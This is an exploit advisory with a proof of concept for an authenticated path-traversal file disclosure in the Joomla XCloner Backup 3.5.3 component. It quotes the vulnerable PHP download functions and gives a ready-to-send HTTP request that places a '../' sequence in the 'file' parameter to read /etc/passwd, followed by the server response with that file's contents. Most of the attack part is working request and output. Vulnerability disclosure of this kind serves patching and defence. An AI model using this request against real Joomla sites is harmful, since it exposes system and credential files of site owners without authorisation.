Joomla XCloner Backup 3.5.3 Local File Disclosure

`#Exploit Title: Joomla XCloner Backup - Authenticated Local File Disclosure  
#Date: 10.05.2020  
#Exploit Author: Mehmet Kelepçe / Gais Cyber Security  
#Exploit-Db Author ID: 8763  
#Reference: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/  
#Vendor Homepage: http://www.xcloner.com  
#Software Link: https://www.xcloner.com/support/download/  
#Version: 3.5.3  
#Tested on: Kali Linux - Apache2  
--------------------------------------------------------------------------------  
Detail:  
--------------------------------------------------------------------------------  
File: administrator/components/com_xcloner-backupandstore/admin.cloner.php -->  
------------  
case 'download':  
downloadBackup($_REQUEST['file']);  
break;  
-------------  
downloadBackup function's file -> administrator/components/com_xcloner-backupandstore/cloner.functions.php  
Vulnerable parameter: file  
  
downloadBackup function's definition  
--------------------------------------------------------------------------------  
function downloadBackup($file)  
{  
global $_CONFIG;  
  
$file = realpath($_CONFIG['clonerPath'] . "/$file");  
  
//First, see if the file exists  
if (!is_file($file)) {  
die("<b>404 File $file was not found!</b>");  
}  
  
//File Info  
$len = get_filesize($file);  
$filename = basename($file);  
$file_extension = strtolower(substr(strrchr($filename, "."), 1));  
  
//Setam Content-Type-urile pentru fisierul in cauza  
switch ($file_extension) {  
default:  
$ctype = "application/force-download";  
}  
  
smartReadFile($file, $filename);  
  
exit;  
}  
--------------------------------------------------------------------------------  
and smartReadFile function's definition  
--------------------------------------------------------------------------------  
function smartReadFile($location, $filename, $mimeType='application/octet-stream')  
{ if(!file_exists($location))  
{ header ("HTTP/1.0 404 Not Found");  
return;  
}  
  
$size=filesize($location);  
$time=date('r',filemtime($location));  
  
$fm=@fopen($location,'r');  
.  
.  
.  
--------------------------------------------------------------------------------  
PoC:  
Request:  
--------------------------------------------------------------------------------  
GET /joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=download&file=../../../../../../../../etc/passwd HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=view  
Connection: close  
Cookie: COOKIES  
Upgrade-Insecure-Requests: 1  
--------------------------------------------------------------------------------  
Response:  
--------------------------------------------------------------------------------  
HTTP/1.0 200 OK  
Date: Sun, 10 May 2020 18:12:04 GMT  
Server: Apache/2.4.41 (Debian)  
Cache-Control: public, must-revalidate, max-age=0  
Pragma: no-cache  
Accept-Ranges: bytes  
Content-Length: 3347  
Content-Range: bytes 0-3347/3347  
Content-Disposition: inline; filename=passwd  
Content-Transfer-Encoding: binary  
Last-Modified: Sun, 22 Mar 2020 05:41:35 -0700  
Connection: close  
Content-Type: application/octet-stream  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
.  
.  
  
  
`